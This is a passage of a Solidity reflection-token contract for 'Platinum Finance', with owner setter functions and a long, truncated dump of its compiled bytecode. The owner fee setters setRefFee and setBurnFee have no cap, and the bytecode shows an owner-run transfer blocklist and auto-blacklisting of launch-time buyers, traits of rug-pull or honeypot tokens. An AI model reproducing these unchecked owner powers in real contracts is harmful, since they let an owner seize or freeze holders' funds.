_transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= _maxTxAmount); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } }
0x6080604052600436106101e75760003560e01c80636fc3eaec116101025780638da5cb5b11610095578063c552849011610064578063c5528490146106b5578063dd62ed3e146106de578063ea1644d51461071b578063f2fde38b14610744576101ee565b80638da5cb5b146105f75780638f9a55c01461062257806395d89b411461064d578063a9059cbb14610678576101ee565b8063790ca413116100d1578063790ca413146105615780637c519ffb1461058c5780637d1db4a5146105a3578063881dce60146105ce576101ee565b80636fc3eaec146104cd57806370a08231146104e4578063715018a61461052157806374010ece14610538576101ee565b80632fd689e31161017a57806349bd5a5e1161014957806349bd5a5e146104275780634bf2c7c9146104525780635d098b381461047b5780636d8aa8f8146104a4576101ee565b80632fd689e31461037f578063313ce567146103aa57806333251a0b146103d557806338eea22d146103fe576101ee565b806318160ddd116101b657806318160ddd146102c357806323b872dd146102ee57806327c8f8351461032b57806328bb665a14610356576101ee565b806306fdde03146101f3578063095ea7b31461021e5780630f3a325f1461025b5780631694505e14610298576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861076d565b60405161021591906138eb565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190613452565b6107aa565b60405161025291906138b5565b60405180910390f35b34801561026757600080fd5b50610282600480360381019061027d9190613365565b6107c8565b60405161028f91906138b5565b60405180910390f35b3480156102a457600080fd5b506102ad61081e565b6040516102ba91906138d0565b60405180910390f35b3480156102cf57600080fd5b506102d8610844565b6040516102e59190613aed565b60405180910390f35b3480156102fa57600080fd5b50610315600480360381019061031091906133ff565b610855565b60405161032291906138b5565b60405180910390f35b34801561033757600080fd5b5061034061092e565b60405161034d919061389a565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190613492565b610934565b005b34801561038b57600080fd5b50610394610b44565b6040516103a19190613aed565b60405180910390f35b3480156103b657600080fd5b506103bf610b4a565b6040516103cc9190613b62565b60405180910390f35b3480156103e157600080fd5b506103fc60048036038101906103f79190613365565b610b53565b005b34801561040a57600080fd5b5061042560048036038101906104209190613535565b610c96565b005b34801561043357600080fd5b5061043c610d3d565b604051610449919061389a565b60405180910390f35b34801561045e57600080fd5b5061047960048036038101906104749190613508565b610d63565b005b34801561048757600080fd5b506104a2600480360381019061049d9190613365565b610e02565b005b3480156104b057600080fd5b506104cb60048036038101906104c691906134db565b610f21565b005b3480156104d957600080fd5b506104e2610fd3565b005b3480156104f057600080fd5b5061050b60048036038101906105069190613365565b611045565b6040516105189190613aed565b60405180910390f35b34801561052d57600080fd5b50610536611096565b005b34801561054457600080fd5b5061055f600480360381019061055a9190613508565b6111e9565b005b34801561056d57600080fd5b50610576611297565b6040516105839190613aed565b60405180910390f35b34801561059857600080fd5b506105a161129d565b005b3480156105af57600080fd5b506105b8611370565b6040516105c59190613aed565b60405180910390f35b3480156105da57600080fd5b506105f560048036038101906105f09190613508565b611376565b005b34801561060357600080fd5b5061060c61143a565b604051610619919061389a565b60405180910390f35b34801561062e57600080fd5b50610637611463565b6040516106449190613aed565b60405180910390f35b34801561065957600080fd5b50610662611469565b60405161066f91906138eb565b60405180910390f35b34801561068457600080fd5b5061069f600480360381019061069a9190613452565b6114a6565b6040516106ac91906138b5565b60405180910390f35b3480156106c157600080fd5b506106dc60048036038101906106d79190613535565b6114c4565b005b3480156106ea57600080fd5b50610705600480360381019061070091906133bf565b6115a1565b6040516107129190613aed565b60405180910390f35b34801561072757600080fd5b50610742600480360381019061073d9190613508565b611628565b005b34801561075057600080fd5b5061076b60048036038101906107669190613365565b6116d6565b005b60606040518060400160405280601081526020017f506c6174696e756d2046696e616e636500000000000000000000000000000000815250905090565b60006107be6107b7611898565b84846118a0565b6001905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b6000610862848484611a6b565b6109238461086e611898565b61091e8560405180606001604052806028815260200161436660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108d4611898565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274b9092919063ffffffff16565b6118a0565b600190509392505050565b61dead81565b61093c611898565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c090613a0d565b60405180910390fd5b60005b8151811015610b4057601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610a2157610a20613ee0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610ab55750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610a9457610a93613ee0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610b2d57600160096000848481518110610ad357610ad2613ee0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610b3890613e39565b9150506109cc565b5050565b601a5481565b60006009905090565b610b5b611898565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90613a0d565b60405180910390fd5b600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c93576000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b610c9e611898565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2290613a0d565b60405180910390fd5b81600b8190555080600d819055505050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d6b611898565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610def90613a0d565b60405180910390fd5b8060118190555050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e43611898565b73ffffffffffffffffffffffffffffffffffffffff1614610e6357600080fd5b80601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610f29611898565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fad90613a0d565b60405180910390fd5b80601760166101000a81548160ff02191690831515021790555050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611014611898565b73ffffffffffffffffffffffffffffffffffffffff161461103457600080fd5b6000479050611042816127af565b50565b600061108f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281b565b9050919050565b61109e611898565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461112b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112290613a0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6111f1611898565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461127e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127590613a0d565b60405180910390fd5b60185481101561128d57600080fd5b8060188190555050565b600a5481565b6112a5611898565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611332576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132990613a0d565b60405180910390fd5b601760149054906101000a900460ff161561134c57600080fd5b6001601760146101000a81548160ff02191690831515021790555042600a81905550565b60185481565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113b7611898565b73ffffffffffffffffffffffffffffffffffffffff16146113d757600080fd5b6113e030611045565b81111580156113ef5750600081115b61142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590613acd565b60405180910390fd5b61143781612889565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60195481565b60606040518060400160405280600281526020017f5074000000000000000000000000000000000000000000000000000000000000815250905090565b60006114ba6114b3611898565b8484611a6b565b6001905092915050565b6114cc611898565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155090613a0d565b60405180910390fd5b6000821015801561156b5750600d8211155b61157457600080fd5b600081101580156115865750600d8111155b61158f57600080fd5b81600c8190555080600e819055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611630611898565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b490613a0d565b60405180910390fd5b6019548110156116cc57600080fd5b8060198190555050565b6116de611898565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461176b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176290613a0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d29061398d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611910576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190790613aad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611980576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611977906139ad565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a5e9190613aed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad290613a4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b429061390d565b60405180910390fd5b60008111611b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8590613a2d565b60405180910390fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290613a8d565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9f90613a8d565b60405180910390fd5b60096000611cb4611898565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3390613a8d565b60405180910390fd5b611d4461143a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db25750611d8261143a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123a357601760149054906101000a900460ff16611e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfd9061392d565b60405180910390fd5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611eb15750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561201e573073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f1e57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f785750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611fd25750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561201d5760185481111561201c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120139061396d565b60405180910390fd5b5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156120ca5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561210257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561213c575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121de57601854811115612186576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217d9061396d565b60405180910390fd5b6019548161219384611045565b61219d9190613c23565b106121dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d490613a6d565b60405180910390fd5b5b60006121e930611045565b90506000601a548211905080801561220e5750601760159054906101000a900460ff16155b80156122685750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156122805750601760169054906101000a900460ff165b80156122d65750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561232c5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123a057600080601154111561237157612365606461235760115486612b1190919063ffffffff16565b612b8c90919063ffffffff16565b905061237081612bd6565b5b61238581846123809190613d04565b612889565b6000479050600081111561239d5761239c476127af565b5b50505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061244a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806124fd5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156124fc5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561250b5760009050612739565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156125b65750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156126755742600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600f81905550600c54601081905550600a54421415612674576001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156127205750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561273857600d54600f81905550600e546010819055505b5b61274584848484612be6565b50505050565b6000838311158290612793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278a91906138eb565b60405180910390fd5b50600083856127a29190613d04565b9050809150509392505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612817573d6000803e3d6000fd5b5050565b6000600754821115612862576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128599061394d565b60405180910390fd5b600061286c612c13565b90506128818184612b8c90919063ffffffff16565b915050919050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156128c1576128c0613f0f565b5b6040519080825280602002602001820160405280156128ef5781602001602082028036833780820191505090505b509050308160008151811061290757612906613ee0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156129a957600080fd5b505afa1580156129bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129e19190613392565b816001815181106129f5576129f4613ee0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a5c30601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118a0565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612ac0959493929190613b08565b600060405180830381600087803b158015612ada57600080fd5b505af1158015612aee573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b600080831415612b245760009050612b86565b60008284612b329190613caa565b9050828482612b419190613c79565b14612b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b78906139ed565b60405180910390fd5b809150505b92915050565b6000612bce83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c3e565b905092915050565b612be33061dead83611a6b565b50565b80612bf457612bf3612ca1565b5b612bff848484612d03565b80612c0d57612c0c612ece565b5b50505050565b6000806000612c20612eeb565b91509150612c378183612b8c90919063ffffffff16565b9250505090565b60008083118290612c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7c91906138eb565b60405180910390fd5b5060008385612c949190613c79565b9050809150509392505050565b6000600f54148015612cb557506000601054145b8015612cc357506000601154145b15612ccd57612d01565b600f546012819055506010546013819055506011546014819055506000600f81905550600060108190555060006011819055505b565b600080600080600080612d1587612f4d565b955095509550955095509550612d7386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fb590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fff90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e548161305d565b612e5e848361311a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612ebb9190613aed565b60405180910390a3505050505050505050565b601254600f81905550601354601081905550601454601181905550565b600080600060075490506000683635c9adc5dea000009050612f21683635c9adc5dea00000600754612b8c90919063ffffffff16565b821015612f4057600754683635c9adc5dea00000935093505050612f49565b81819350935050505b9091565b6000806000806000806000806000612f6a8a600f54601054613154565b9250925092506000612f7a612c13565b90506000806000612f8d8e8787876131ea565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612ff783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061274b565b905092915050565b600080828461300e9190613c23565b905083811015613053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161304a906139cd565b60405180910390fd5b8091505092915050565b6000613067612c13565b9050600061307e8284612b1190919063ffffffff16565b90506130d281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fff90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61312f82600754612fb590919063ffffffff16565b60078190555061314a81600854612fff90919063ffffffff16565b6008819055505050565b6000806000806131806064613172888a612b1190919063ffffffff16565b612b8c90919063ffffffff16565b905060006131aa606461319c888b612b1190919063ffffffff16565b612b8c90919063ffffffff16565b905060006131d3826131c5858c612fb590919063ffffffff16565b612fb590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806132038589612b1190919063ffffffff16565b9050600061321a8689612b1190919063ffffffff16565b905060006132318789612b1190919063ffffffff16565b9050600061325a8261324c8587612fb590919063ffffffff16565b612fb590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061328661328184613ba2565b613b7d565b905080838252602082019050828560208602820111156132a9576132a8613f43565b5b60005b858110156132d957816132bf88826132e3565b8452602084019350602083019250506001810190506132ac565b5050509392505050565b6000813590506132f281614320565b92915050565b60008151905061330781614320565b92915050565b600082601f83011261332257613321613f3e565b5b8135613332848260208601613273565b91505092915050565b60008135905061334a81614337565b92915050565b60008135905061335f8161434e565b92915050565b60006020828403121561337b5761337a613f4d565b5b6000613389848285016132e3565b91505092915050565b6000602082840312156133a8576133a7613f4d565b5b60006133b6848285016132f8565b91505092915050565b600080604083850312156133d6576133d5613f4d565b5b60006133e4858286016132e3565b92505060206133f5858286016132e3565b9150509250929050565b60008060006060848603121561341857613417613f4d565b5b6000613426868287016132e3565b9350506020613437868287016132e3565b925050604061344886828701613350565b9150509250925092565b6000806040838503121561346957613468613f4d565b5b6000613477858286016132e3565b925050602061348885828601613350565b9150509250929050565b6000602082840312156134a8576134a7613f4d565b5b600082013567ffffffffffffffff8111156134c6576134c5613f48565b5b6134d28482850161330d565b91505092915050565b6000602082840312156134f1576134f0613f4d565b5b60006134ff8482850161333b565b91505092915050565b60006020828403121561351e5761351d613f4d565b5b600061352c84828501613350565b91505092915050565b6000806040838503121561354c5761354b613f4d565b5b600061355a85828601613350565b925050602061356b85828601613350565b9150509250929050565b6000613581838361358d565b60208301905092915050565b61359681613d38565b82525050565b6135a581613d38565b82525050565b60006135b682613bde565b6135c08185613c01565b93506135cb83613bce565b8060005b838110156135fc5781516135e38882613575565b97506135ee83613bf4565b9250506001810190506135cf565b5085935050505092915050565b61361281613d4a565b82525050565b61362181613d8d565b82525050565b61363081613d9f565b82525050565b600061364182613be9565b61364b8185613c12565b935061365b818560208601613dd5565b61366481613f52565b840191505092915050565b600061367c602383613c12565b915061368782613f63565b604082019050919050565b600061369f601883613c12565b91506136aa82613fb2565b602082019050919050565b60006136c2602a83613c12565b91506136cd82613fdb565b604082019050919050565b60006136e5601c83613c12565b91506136f08261402a565b602082019050919050565b6000613708602683613c12565b915061371382614053565b604082019050919050565b600061372b602283613c12565b9150613736826140a2565b604082019050919050565b600061374e601b83613c12565b9150613759826140f1565b602082019050919050565b6000613771602183613c12565b915061377c8261411a565b604082019050919050565b6000613794602083613c12565b915061379f82614169565b602082019050919050565b60006137b7602983613c12565b91506137c282614192565b604082019050919050565b60006137da602583613c12565b91506137e5826141e1565b604082019050919050565b60006137fd602383613c12565b915061380882614230565b604082019050919050565b6000613820600d83613c12565b915061382b8261427f565b602082019050919050565b6000613843602483613c12565b915061384e826142a8565b604082019050919050565b6000613866600c83613c12565b9150613871826142f7565b602082019050919050565b61388581613d76565b82525050565b61389481613d80565b82525050565b60006020820190506138af600083018461359c565b92915050565b60006020820190506138ca6000830184613609565b92915050565b60006020820190506138e56000830184613618565b92915050565b600060208201905081810360008301526139058184613636565b905092915050565b600060208201905081810360008301526139268161366f565b9050919050565b6000602082019050818103600083015261394681613692565b9050919050565b60006020820190508181036000830152613966816136b5565b9050919050565b60006020820190508181036000830152613986816136d8565b9050919050565b600060208201905081810360008301526139a6816136fb565b9050919050565b600060208201905081810360008301526139c68161371e565b9050919050565b600060208201905081810360008301526139e681613741565b9050919050565b60006020820190508181036000830152613a0681613764565b9050919050565b60006020820190508181036000830152